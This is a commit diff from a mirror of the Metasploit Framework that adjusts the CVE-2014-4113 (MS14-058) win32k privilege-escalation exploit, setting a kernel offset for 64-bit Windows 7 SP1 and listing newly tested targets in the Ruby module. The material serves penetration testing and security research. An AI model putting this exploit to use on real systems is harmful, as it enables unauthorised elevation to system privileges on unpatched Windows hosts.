infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Do version checking minor cleanup

bug/bundler_fix
jvazquez-r7 2014-10-27 09:32:42 -05:00
parent 2d76a8da4a
commit 4406972b46
4 changed files with 10 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll
View File

Binary file not shown.

BIN
data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll
View File

Binary file not shown.

11
external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c vendored
View File

@ -177,14 +177,16 @@ void Win32kNullPage(LPVOID lpPayload) {
return; return;
} }
#ifdef _M_X64
if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
LogMessage("[*] Windows 6.1 found...");
OffsetWindows = 0x208;
}
#else
if (VersionInformation.dwMajorVersion == 6) { if (VersionInformation.dwMajorVersion == 6) {
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
LogMessage("[*] Windows 6.1 found..."); LogMessage("[*] Windows 6.1 found...");
#ifdef _M_X64
OffsetWindows = 0x208;
#else
OffsetWindows = 0xf8; OffsetWindows = 0xf8;
#endif
} }
else if (!VersionInformation.dwMinorVersion) { else if (!VersionInformation.dwMinorVersion) {
LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2 LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2
@ -209,6 +211,7 @@ void Win32kNullPage(LPVOID lpPayload) {
return; return;
} }
} }
#endif
else { else {
LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion); LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion);
return; return;

4
modules/exploits/windows/local/ms14_058_track_popup_menu.rb
View File

@ -24,7 +24,8 @@ class Metasploit3 < Msf::Exploit::Local
can be triggered through the use of TrackPopupMenu. Under special conditions, the can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
@ -49,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Local
# * Windows 2008 # * Windows 2008
# Tested on (64 bits): # Tested on (64 bits):
# * Windows 2008 R2 SP1 # * Windows 2008 R2 SP1
# * Windows 7 SP1
[ 'Automatic', { } ], [ 'Automatic', { } ],
], ],
'Payload' => 'Payload' =>